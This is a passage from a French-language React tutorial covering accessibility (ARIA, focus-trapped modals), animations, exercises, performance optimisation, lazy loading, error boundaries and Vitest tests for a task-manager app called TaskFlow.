        <span className={styles.icon} aria-hidden="true">{ICONS[type]}</span>
        <div className={styles.content}>
          {title && <p className={styles.title}>{title}</p>}
          {message && <p className={styles.message}>{message}</p>}
        </div>
        <button
          className={styles.close}
          onClick={onClose}
          aria-label="Fermer la notification"
        >
          [X]
        </button>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 30 : ACCESSIBILITÉ (A11Y)
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
30.1 — POURQUOI L'ACCESSIBILITÉ ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  • 1 milliard de personnes dans le monde ont un handicap
  • Obligatoire légalement dans de nombreux pays (RGAA en France)
  • Améliore l'expérience pour TOUS (utilisateurs mobiles, personnes âgées...)
  • Bon pour le SEO
  • WCAG 2.1 = standard international (Niveaux A, AA, AAA)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
30.2 — RÈGLES ESSENTIELLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ① STRUCTURE SÉMANTIQUE HTML :
    <header>, <nav>, <main>, <section>, <article>, <aside>, <footer>
    Titres hiérarchiques : <h1> -> <h2> -> <h3> (ne pas sauter)
    Listes : <ul>/<ol>/<li> pour les groupes d'éléments

  ② FOCUS ET NAVIGATION CLAVIER :
    Tous les éléments interactifs doivent être accessibles au clavier.
    Ne jamais supprimer outline sans alternative (focus-visible).
    Ordre logique dans le DOM (ne pas réorganiser visuellement en CSS).

  ③ ARIA — Attributs d'accessibilité :
    aria-label      -> Étiquette textuelle (pour les icônes seules)
    aria-labelledby -> Référence à un élément existant comme étiquette
    aria-describedby -> Description supplémentaire
    aria-hidden     -> Cacher aux lecteurs d'écran (icônes décoratives)
    aria-live       -> Annonce les changements dynamiques
    aria-expanded   -> État ouvert/fermé (dropdown, accordion)
    aria-invalid    -> Champ en erreur
    aria-required   -> Champ obligatoire
    aria-disabled   -> Désactivé
    role            -> Rôle sémantique

  ④ CONTRASTES COULEURS :
    Texte normal : ratio min 4.5:1 (WCAG AA)
    Grand texte  : ratio min 3:1
    UI elements  : ratio min 3:1

  ⑤ IMAGES ET ICÔNES :
    Images informatives : alt="description"
    Images décoratives  : alt="" (vide) ou aria-hidden="true"
    Icônes avec texte   : aria-hidden="true" sur l'icône
    Icônes seules       : aria-label sur le bouton conteneur

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
30.3 — COMPOSANTS ACCESSIBLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

MODAL ACCESSIBLE :

  function Modal({ isOpen, onClose, title, children, id }) {
    const modalId = id || 'modal';
    const titleId = `${modalId}-title`;

    useEffect(() => {
      if (!isOpen) return;

      // Focus trap : garder le focus dans le modal
      const modal = document.getElementById(modalId);
      const focusableElements = modal.querySelectorAll(
        'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])'
      );
      const firstEl = focusableElements[0];
      const lastEl  = focusableElements[focusableElements.length - 1];

      const handleTab = (e) => {
        if (e.key !== 'Tab') return;
        if (e.shiftKey) {
          if (document.activeElement === firstEl) {
            e.preventDefault();
            lastEl.focus();
          }
        } else {
          if (document.activeElement === lastEl) {
            e.preventDefault();
            firstEl.focus();
          }
        }
      };

      const handleEsc = (e) => {
        if (e.key === 'Escape') onClose();
      };

      firstEl?.focus();
      modal.addEventListener('keydown', handleTab);
      document.addEventListener('keydown', handleEsc);

      return () => {
        modal.removeEventListener('keydown', handleTab);
        document.removeEventListener('keydown', handleEsc);
      };
    }, [isOpen, modalId, onClose]);

    if (!isOpen) return null;

    return createPortal(
      <div
        className="modal-overlay"
        onClick={(e) => e.target === e.currentTarget && onClose()}
        aria-modal="true"
        role="dialog"
        aria-labelledby={titleId}
      >
        <div id={modalId} className="modal-content">
          <div className="modal-header">
            <h2 id={titleId} className="modal-title">{title}</h2>
            <button
              className="modal-close"
              onClick={onClose}
              aria-label="Fermer"
            >
              <span aria-hidden="true">[X]</span>
            </button>
          </div>
          <div className="modal-body">{children}</div>
        </div>
      </div>,
      document.body  // Portal -> rendu à la racine du DOM
    );
  }

LISTE DE TÂCHES ACCESSIBLE :

  function TaskList({ tasks, onComplete, onDelete }) {
    return (
      <section aria-labelledby="tasks-title">
        <h2 id="tasks-title">Mes tâches ({tasks.length})</h2>

        {tasks.length === 0 ? (
          <p role="status">Aucune tâche à afficher.</p>
        ) : (
          <ul role="list" aria-label={`${tasks.length} tâches`}>
            {tasks.map(task => (
              <li key={task.id} role="listitem">
                <article
                  aria-labelledby={`task-title-${task.id}`}
                  aria-describedby={`task-desc-${task.id}`}
                >
                  <h3 id={`task-title-${task.id}`}>
                    {task.status === 'done' && (
                      <span className="sr-only">(Terminée) </span>
                    )}
                    {task.title}
                  </h3>

                  <p id={`task-desc-${task.id}`} className="sr-only">
                    Priorité {task.priority}, échéance {formatDate(task.dueDate)},
                    assignée à {task.assignee.name}
                  </p>

                  <div role="group" aria-label={`Actions pour "${task.title}"`}>
                    <button
                      onClick={() => onComplete(task.id)}
                      aria-pressed={task.status === 'done'}
                      aria-label={
                        task.status === 'done'
                          ? `Réouvrir "${task.title}"`
                          : `Terminer "${task.title}"`
                      }
                    >
                      {task.status === 'done' ? '<-' : '[OK]'}
                    </button>

                    <button
                      onClick={() => onDelete(task.id)}
                      aria-label={`Supprimer "${task.title}"`}
                    >
                      [SUPPRIMER]
                    </button>
                  </div>
                </article>
              </li>
            ))}
          </ul>
        )}
      </section>
    );
  }

CLASSE SR-ONLY (Visually Hidden — accessible aux screen readers) :

  .sr-only {
    position:   absolute;
    width:      1px;
    height:     1px;
    padding:    0;
    margin:     -1px;
    overflow:   hidden;
    clip:       rect(0, 0, 0, 0);
    white-space: nowrap;
    border:     0;
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 31 : ANIMATIONS ET TRANSITIONS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
31.1 — ANIMATIONS CSS PURES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  /* Entrée d'une task card */
  @keyframes slideInUp {
    from {
      opacity:   0;
      transform: translateY(20px);
    }
    to {
      opacity:   1;
      transform: translateY(0);
    }
  }

  .task-card {
    animation: slideInUp var(--transition-normal) ease both;
  }

  /* Délai progressif pour les listes */
  .task-card:nth-child(1) { animation-delay: 0ms; }
  .task-card:nth-child(2) { animation-delay: 50ms; }
  .task-card:nth-child(3) { animation-delay: 100ms; }
  /* Ou via style inline : style={{ animationDelay: `${index * 50}ms` }} */

  /* Respect des préférences utilisateur */
  @media (prefers-reduced-motion: reduce) {
    *, *::before, *::after {
      animation-duration: 0.01ms !important;
      transition-duration: 0.01ms !important;
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
31.2 — FRAMER MOTION (ANIMATIONS AVANCÉES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install framer-motion

  import { motion, AnimatePresence } from 'framer-motion';

  // Animation d'une card :
  function TaskCard({ task, onDelete }) {
    return (
      <motion.article
        layout                   // Anime les changements de position (tri)
        initial={{ opacity: 0, y: 20 }}    // État initial
        animate={{ opacity: 1, y: 0 }}     // État final
        exit={{ opacity: 0, x: -100 }}     // Animation de sortie
        transition={{ duration: 0.2 }}
        whileHover={{ scale: 1.01 }}       // Au survol
        className="task-card"
      >
        {/* ... */}
      </motion.article>
    );
  }

  // AnimatePresence pour animer les montages/démontages :
  function TaskList({ tasks }) {
    return (
      <AnimatePresence mode="popLayout">
        {tasks.map(task => (
          <TaskCard key={task.id} task={task} />
          // ^ key obligatoire pour AnimatePresence
        ))}
      </AnimatePresence>
    );
  }

  // Modal animé :
  function Modal({ isOpen, onClose, children }) {
    return (
      <AnimatePresence>
        {isOpen && (
          <motion.div
            className="modal-overlay"
            initial={{ opacity: 0 }}
            animate={{ opacity: 1 }}
            exit={{ opacity: 0 }}
            onClick={(e) => e.target === e.currentTarget && onClose()}
          >
            <motion.div
              className="modal-content"
              initial={{ opacity: 0, scale: 0.95, y: -20 }}
              animate={{ opacity: 1, scale: 1, y: 0 }}
              exit={{ opacity: 0, scale: 0.95, y: -20 }}
              transition={{ duration: 0.2, ease: 'easeOut' }}
            >
              {children}
            </motion.div>
          </motion.div>
        )}
      </AnimatePresence>
    );
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 6
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-6.1 : Formulaire de connexion complet avec React Hook Form + Zod.
           Afficher les erreurs sous chaque champ, bouton désactivé si invalide.

  EX-6.2 : Design System — Créer Button, Input, Badge, Avatar conformes aux specs.
           Vérifier l'accessibilité au clavier de chaque composant.

  EX-6.3 : Toggle de thème clair/sombre via UIContext.
           Persistance dans localStorage, respecting prefers-color-scheme.

NIVEAU INTERMÉDIAIRE :
  EX-6.4 : TaskForm complet avec React Hook Form :
           Titre, description, priorité, date, sous-tâches (useFieldArray).
           Validation Zod avec règle croisée (date si critique).

  EX-6.5 : Composant Select multi-valeurs pour les tags.
           Input text + Enter/virgule pour ajouter, croix pour supprimer.

  EX-6.6 : Liste de tâches entièrement accessible :
           Navigation au clavier, ARIA correct, sr-only pour les contextes.

NIVEAU AVANCÉ :
  EX-6.7 : Drag & Drop pour réordonner les tâches.
           Avec @dnd-kit/core ou framer-motion layout.

  EX-6.8 : Formulaire multi-étapes (wizard) :
           Étape 1 : Infos de base | Étape 2 : Assignation | Étape 3 : Review.
           Validation par étape avec Zod.

  EX-6.9 : Système de notifications complet :
           ToastContainer avec pile de notifications, animations, dismiss auto.
           Hook useNotification exposé dans UIContext.

CORRIGÉ EX-6.5 — TagInput :

  function TagInput({ value = [], onChange, maxTags = 10 }) {
    const [inputValue, setInputValue] = useState('');

    const addTag = (tag) => {
      const trimmed = tag.trim().toLowerCase();
      if (!trimmed || value.includes(trimmed) || value.length >= maxTags) return;
      onChange([...value, trimmed]);
      setInputValue('');
    };

    const removeTag = (tagToRemove) => {
      onChange(value.filter(t => t !== tagToRemove));
    };

    const handleKeyDown = (e) => {
      if (['Enter', ',', ' '].includes(e.key)) {
        e.preventDefault();
        addTag(inputValue);
      }
      if (e.key === 'Backspace' && !inputValue && value.length > 0) {
        removeTag(value[value.length - 1]);
      }
    };

    return (
      <div
        className="tag-input"
        role="group"
        aria-label="Gestion des tags"
      >
        <ul className="tag-input__tags" aria-label="Tags ajoutés">
          {value.map(tag => (
            <li key={tag} className="tag">
              <span>#{tag}</span>
              <button
                type="button"
                onClick={() => removeTag(tag)}
                aria-label={`Supprimer le tag #${tag}`}
                className="tag__remove"
              >
                [X]
              </button>
            </li>
          ))}
        </ul>

        {value.length < maxTags && (
          <input
            type="text"
            value={inputValue}
            onChange={e => setInputValue(e.target.value)}
            onKeyDown={handleKeyDown}
            onBlur={() => inputValue && addTag(inputValue)}
            placeholder={value.length === 0 ? "Ajouter des tags..." : "+ Tag"}
            aria-label="Nouveau tag (Enter ou virgule pour ajouter)"
            className="tag-input__input"
          />
        )}

        <p className="form-hint" aria-live="polite">
          {value.length}/{maxTags} tags — Appuyez sur Entrée ou , pour ajouter
        </p>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 6
════════════════════════════════════════════════════════════════════════════════

  [OK] React Hook Form : register, handleSubmit, formState, useFieldArray
  [OK] Zod : schémas déclaratifs, validation croisée, intégration RHF
  [OK] Design System : variables CSS (tokens), composants réutilisables
  [OK] Button : variants, sizes, loading state, polymorphe (as prop)
  [OK] Input : forwardRef, label, error, icons, accessibilité
  [OK] Toast : notifications globales via Context
  [OK] Accessibilité : sémantique HTML, ARIA, focus, sr-only
  [OK] Modal : focus trap, Portal, escape key, overlay click
  [OK] Animations : CSS, @keyframes, framer-motion, AnimatePresence

PROCHAINE PARTIE : Performance, Tests, Architecture avancée, Déploiement
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 6 -> Continuer : react_master_part_7.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 7 : PERFORMANCE, TESTS, ARCHITECTURE, DÉPLOIEMENT
================================================================================
VERSION 1.0 | CHAPITRES 32–40 | PROJET : TaskFlow v6 — Production Ready
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 32  ->  Performance React (profiling, optimisations)
  CHAPITRE 33  ->  Lazy Loading et Code Splitting
  CHAPITRE 34  ->  Tests avec Vitest et Testing Library
  CHAPITRE 35  ->  Tests d'intégration et E2E (Playwright)
  CHAPITRE 36  ->  Architecture avancée — Patterns pro
  CHAPITRE 37  ->  TypeScript avec React
  CHAPITRE 38  ->  Next.js — SSR et SSG
  CHAPITRE 39  ->  Déploiement — CI/CD
  CHAPITRE 40  ->  Debugging et DevTools
  PROJET FINAL ->  TaskFlow v6 — Production complete
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 32 : PERFORMANCE REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
32.1 — COMPRENDRE LES RE-RENDERS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un composant React se re-render quand :
  ① Son propre state change (setState)
  ② Ses props changent (référence === différente pour objets/fonctions)
  ③ Son parent se re-render (par défaut, tous les enfants re-render)
  ④ Son contexte change

RE-RENDER N'EST PAS TOUJOURS UN PROBLÈME :
  • Les re-renders sont rapides pour les petits arbres
  • React fait le diff Virtual DOM -> met à jour seulement ce qui a changé
  • Optimiser SEULEMENT si performance mesurée dégradée (règle d'or)

IDENTIFIER LES PROBLÈMES :
  1. React DevTools Profiler (onglet "Profiler" dans les DevTools)
  2. Activer "Highlight updates when components render"
  3. Mesurer avec performance.measure() ou le Profiler API

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
32.2 — REACT.MEMO — MÉMOÏSER LES COMPOSANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

React.memo empêche le re-render d'un composant si ses props n'ont pas changé.

  import { memo } from 'react';

  // Comparaison shallow (=== pour chaque prop)
  const TaskCard = memo(function TaskCard({ task, onComplete, onDelete }) {
    console.log('TaskCard render:', task.id);  // Doit ne s'afficher que si task change
    return (
      <article className={`task-card priority-${task.priority}`}>
        <h3>{task.title}</h3>
        <button onClick={() => onComplete(task.id)}>Terminer</button>
        <button onClick={() => onDelete(task.id)}>Supprimer</button>
      </article>
    );
  });

  export default TaskCard;

  // [ATTENTION] Problème : si le PARENT crée onComplete à chaque render :
  function TaskList({ tasks }) {
    // [X] Recréée à chaque render -> TaskCard re-render malgré React.memo !
    const handleComplete = (id) => updateTask(id, { status: 'done' });

    return tasks.map(task => (
      <TaskCard key={task.id} task={task} onComplete={handleComplete} />
    ));
  }

  // [OK] Solution : useCallback pour stabiliser la référence :
  function TaskList({ tasks }) {
    const handleComplete = useCallback((id) => {
      updateTask(id, { status: 'done' });
    }, []);  // Stable entre les renders

    return tasks.map(task => (
      <TaskCard key={task.id} task={task} onComplete={handleComplete} />
    ));
  }

COMPARAISON CUSTOM :
  const TaskCard = memo(
    function TaskCard({ task, onComplete }) { ... },
    (prevProps, nextProps) => {
      // Retourner true = les props sont égales (NE PAS re-render)
      return prevProps.task.id === nextProps.task.id &&
             prevProps.task.status === nextProps.task.status &&
             prevProps.task.title === nextProps.task.title;
    }
  );

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
32.3 — PROFILER API
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { Profiler } from 'react';

  function onRenderCallback(
    id,            // Identifiant du Profiler
    phase,         // 'mount' ou 'update'
    actualDuration, // Temps passé à render
    baseDuration,   // Temps estimé sans mémoïsation
    startTime,
    commitTime,
  ) {
    if (actualDuration > 16) {
      // > 16ms = frame drop (60fps = 16.67ms par frame)
      console.warn(`Render lent [${id}]: ${actualDuration.toFixed(2)}ms`);
    }
  }

  function App() {
    return (
      <Profiler id="TaskList" onRender={onRenderCallback}>
        <TaskList tasks={tasks} />
      </Profiler>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
32.4 — VIRTUALISATION DES LISTES LONGUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Afficher 1000+ items dans le DOM est lent. La virtualisation n'affiche que
les items VISIBLES dans le viewport.

  npm install @tanstack/react-virtual

  import { useVirtualizer } from '@tanstack/react-virtual';

  function VirtualTaskList({ tasks }) {
    const parentRef = useRef(null);

    const rowVirtualizer = useVirtualizer({
      count:        tasks.length,
      getScrollElement: () => parentRef.current,
      estimateSize: () => 80,  // Hauteur estimée d'une task card en pixels
      overscan:     5,         // Éléments hors écran pré-rendus (fluidité)
    });

    return (
      <div
        ref={parentRef}
        style={{ height: '600px', overflow: 'auto' }}
      >
        <div
          style={{
            height:   `${rowVirtualizer.getTotalSize()}px`,
            position: 'relative',
          }}
        >
          {rowVirtualizer.getVirtualItems().map(virtualItem => (
            <div
              key={virtualItem.key}
              style={{
                position:  'absolute',
                top:       0,
                left:      0,
                width:     '100%',
                height:    `${virtualItem.size}px`,
                transform: `translateY(${virtualItem.start}px)`,
              }}
            >
              <TaskCard task={tasks[virtualItem.index]} />
            </div>
          ))}
        </div>
      </div>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
32.5 — RÉCAPITULATIF OPTIMISATIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  OPTIMISATION          QUAND L'UTILISER
  ──────────────────    ──────────────────────────────────────────────────
  React.memo            Composant enfant avec props stables, re-render coûteux
  useMemo               Calcul complexe (sort/filter sur >100 éléments)
  useCallback           Fonction passée à un composant mémoïsé
  Virtualisation        Listes de plus de 100-200 éléments
  Code Splitting        Réduire le bundle initial (lazy + Suspense)
  Debounce              Inputs de recherche (éviter requête à chaque frappe)
  Optimistic updates    Mise à jour immédiate UI avant confirmation serveur
  React Query cache     Éviter les re-fetch inutiles (staleTime)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 33 : LAZY LOADING ET CODE SPLITTING
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
33.1 — LAZY ET SUSPENSE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Par défaut, Vite bundle TOUT le code en un seul fichier.
Le lazy loading divise le bundle en chunks chargés à la demande.

  import { lazy, Suspense } from 'react';
  import { Routes, Route } from 'react-router-dom';

  // [X] Import immédiat — tout chargé au démarrage :
  import DashboardPage from './pages/DashboardPage';
  import TasksPage     from './pages/TasksPage';

  // [OK] Import lazy — chargé seulement quand la route est visitée :
  const DashboardPage = lazy(() => import('./pages/DashboardPage'));
  const TasksPage     = lazy(() => import('./pages/TasksPage'));
  const TaskDetailPage = lazy(() => import('./pages/TaskDetailPage'));
  const SettingsPage  = lazy(() => import('./pages/SettingsPage'));
  const AdminPage     = lazy(() => import('./pages/AdminPage'));

  // Suspense = composant de fallback pendant le chargement :
  function App() {
    return (
      <Routes>
        <Route element={<PrivateRoute />}>
          <Route element={<AppLayout />}>
            <Route
              path="/dashboard"
              element={
                <Suspense fallback={<PageLoader />}>
                  <DashboardPage />
                </Suspense>
              }
            />
            <Route
              path="/tasks"
              element={
                <Suspense fallback={<PageLoader />}>
                  <TasksPage />
                </Suspense>
              }
            />
          </Route>
        </Route>
      </Routes>
    );
  }

  // Mieux : un Suspense global pour toutes les routes :
  function App() {
    return (
      <Suspense fallback={<PageLoader />}>
        <Routes>
          {/* ... */}
        </Routes>
      </Suspense>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
33.2 — ERROR BOUNDARY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les Error Boundaries interceptent les erreurs dans les composants enfants.
Elles doivent être écrites en CLASS component (pas de hook équivalent).

  import { Component } from 'react';

  class ErrorBoundary extends Component {
    state = { hasError: false, error: null };

    static getDerivedStateFromError(error) {
      return { hasError: true, error };
    }

    componentDidCatch(error, info) {
      // Envoyer l'erreur à Sentry/Datadog :
      console.error('Error caught by boundary:', error, info.componentStack);
      // errorTrackingService.report(error, info);
    }

    handleReset = () => {
      this.setState({ hasError: false, error: null });
    };

    render() {
      if (this.state.hasError) {
        return this.props.fallback ? (
          this.props.fallback({ error: this.state.error, reset: this.handleReset })
        ) : (
          <div className="error-boundary">
            <h2>Une erreur s'est produite</h2>
            <p>{this.state.error?.message}</p>
            <button onClick={this.handleReset}>Réessayer</button>
          </div>
        );
      }
      return this.props.children;
    }
  }

  // Utilisation :
  function App() {
    return (
      <ErrorBoundary
        fallback={({ error, reset }) => (
          <ErrorPage error={error} onRetry={reset} />
        )}
      >
        <Suspense fallback={<PageLoader />}>
          <Routes>...</Routes>
        </Suspense>
      </ErrorBoundary>
    );
  }

  // Alternative : bibliothèque react-error-boundary
  npm install react-error-boundary
  import { ErrorBoundary } from 'react-error-boundary';
  // API plus simple et hooks disponibles


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 34 : TESTS AVEC VITEST ET TESTING LIBRARY
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
34.1 — PHILOSOPHIE DU TESTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  "Tester de la manière dont les utilisateurs utilisent l'application."
  — Principe de Testing Library

  PYRAMIDE DE TESTS :
    ┌─────────────────────────────────────────┐
    │  E2E (bout en bout)  <- peu, lents, coûteux│
    │       Playwright / Cypress               │
    ├─────────────────────────────────────────┤
    │  Intégration <- quelques, moderément lents │
    │       Testing Library                   │
    ├─────────────────────────────────────────┤
    │  Unitaires <- nombreux, rapides, isolés  │
    │       Vitest                            │
    └─────────────────────────────────────────┘

  CE QU'IL FAUT TESTER :
    [OK] Comportements visibles par l'utilisateur
    [OK] Logique métier complexe (reducers, hooks, utils)
    [OK] Scénarios d'erreur (API failure, form invalid)
    [OK] Accessibilité (a11y avec @testing-library/jest-dom)
    [X] Détails d'implémentation (état interne, noms de variables)
    [X] Ce qui est déjà testé par React/Vite

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
34.2 — CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install -D vitest @testing-library/react @testing-library/user-event
              @testing-library/jest-dom jsdom

  // vite.config.js — Ajouter la config test :
  import { defineConfig } from 'vite';
  import react from '@vitejs/plugin-react';

  export default defineConfig({
    plugins: [react()],
    test: {
      globals:     true,
      environment: 'jsdom',
      setupFiles:  './src/test/setup.js',
      css:         true,
    },
  });

  // src/test/setup.js
  import '@testing-library/jest-dom';
  import { cleanup } from '@testing-library/react';
  import { afterEach, vi } from 'vitest';

  afterEach(() => {
    cleanup();  // Nettoyer le DOM après chaque test
  });

  // Mock de fetch global :
  global.fetch = vi.fn();

  // package.json
  {
    "scripts": {
      "test":       "vitest",
      "test:ui":    "vitest --ui",
      "test:cov":   "vitest --coverage"
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
34.3 — TESTS UNITAIRES (UTILS ET HOOKS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TEST D'UNE FONCTION UTILITAIRE :

  // src/utils/task.utils.js
  export function getPriorityLabel(priority) {
    const labels = { low: 'Basse', medium: 'Moyenne', high: 'Haute', critical: 'Critique' };
    return labels[priority] ?? priority;
  }

  export function isTaskOverdue(task) {
    if (task.status === 'done') return false;
    return task.dueDate && new Date(task.dueDate) < new Date();
  }

  export function filterTasks(tasks, { status, query }) {
    return tasks
      .filter(t => status === 'all' || t.status === status)
      .filter(t => !query || t.title.toLowerCase().includes(query.toLowerCase()));
  }

  // src/utils/task.utils.test.js
  import { describe, it, expect, vi, beforeEach } from 'vitest';
  import { getPriorityLabel, isTaskOverdue, filterTasks } from './task.utils';

  describe('getPriorityLabel', () => {
    it('retourne le label FR pour une priorité connue', () => {
      expect(getPriorityLabel('low')).toBe('Basse');
      expect(getPriorityLabel('medium')).toBe('Moyenne');
      expect(getPriorityLabel('high')).toBe('Haute');
      expect(getPriorityLabel('critical')).toBe('Critique');
    });

    it('retourne la valeur brute pour une priorité inconnue', () => {
      expect(getPriorityLabel('unknown')).toBe('unknown');
    });
  });

  describe('isTaskOverdue', () => {
    const yesterday = new Date(Date.now() - 86400000).toISOString();
    const tomorrow  = new Date(Date.now() + 86400000).toISOString();

    it('retourne false pour une tâche terminée', () => {
      expect(isTaskOverdue({ status: 'done', dueDate: yesterday })).toBe(false);
    });

    it('retourne true si dueDate passée et statut non-done', () => {
      expect(isTaskOverdue({ status: 'todo', dueDate: yesterday })).toBe(true);
    });

    it('retourne false si dueDate dans le futur', () => {
      expect(isTaskOverdue({ status: 'todo', dueDate: tomorrow })).toBe(false);
    });

    it('retourne false si pas de dueDate', () => {
      expect(isTaskOverdue({ status: 'todo', dueDate: null })).toBe(false);
    });
  });

  describe('filterTasks', () => {
    const tasks = [
      { id: 1, title: 'Fix the bug',   status: 'todo' },
      { id: 2, title: 'Write tests',   status: 'in_progress' },
      { id: 3, title: 'Deploy to prod', status: 'done' },
    ];

    it('retourne toutes les tâches quand status=all', () => {
      expect(filterTasks(tasks, { status: 'all', query: '' })).toHaveLength(3);
    });

    it('filtre par status', () => {
      const result = filterTasks(tasks, { status: 'todo', query: '' });
      expect(result).toHaveLength(1);
      expect(result[0].id).toBe(1);
    });

    it('filtre par query (insensible à la casse)', () => {
      const result = filterTasks(tasks, { status: 'all', query: 'TESTS' });
      expect(result).toHaveLength(1);
      expect(result[0].title).toBe('Write tests');
    });

    it('retourne tableau vide si aucun résultat', () => {
      expect(filterTasks(tasks, { status: 'all', query: 'xyz' })).toHaveLength(0);
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
34.4 — TESTS DE COMPOSANTS REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/tasks/TaskCard/TaskCard.test.jsx
  import { describe, it, expect, vi, beforeEach } from 'vitest';
  import { render, screen, fireEvent } from '@testing-library/react';
  import userEvent from '@testing-library/user-event';
  import TaskCard from './TaskCard';

  const MOCK_TASK = {
    id:       1,
    title:    'Implémenter l\'auth',
    status:   'in_progress',
    priority: 'high',
    assignee: { id: 1, name: 'Alice Martin' },
    dueDate:  new Date('2025-12-31').toISOString(),
    tags:     ['backend', 'security'],
  };

  const DEFAULT_PROPS = {
    task:       MOCK_TASK,
    onComplete: vi.fn(),
    onDelete:   vi.fn(),
    onEdit:     vi.fn(),
  };

  describe('TaskCard', () => {
    beforeEach(() => {
      vi.clearAllMocks();
    });

    it('affiche le titre de la tâche', () => {
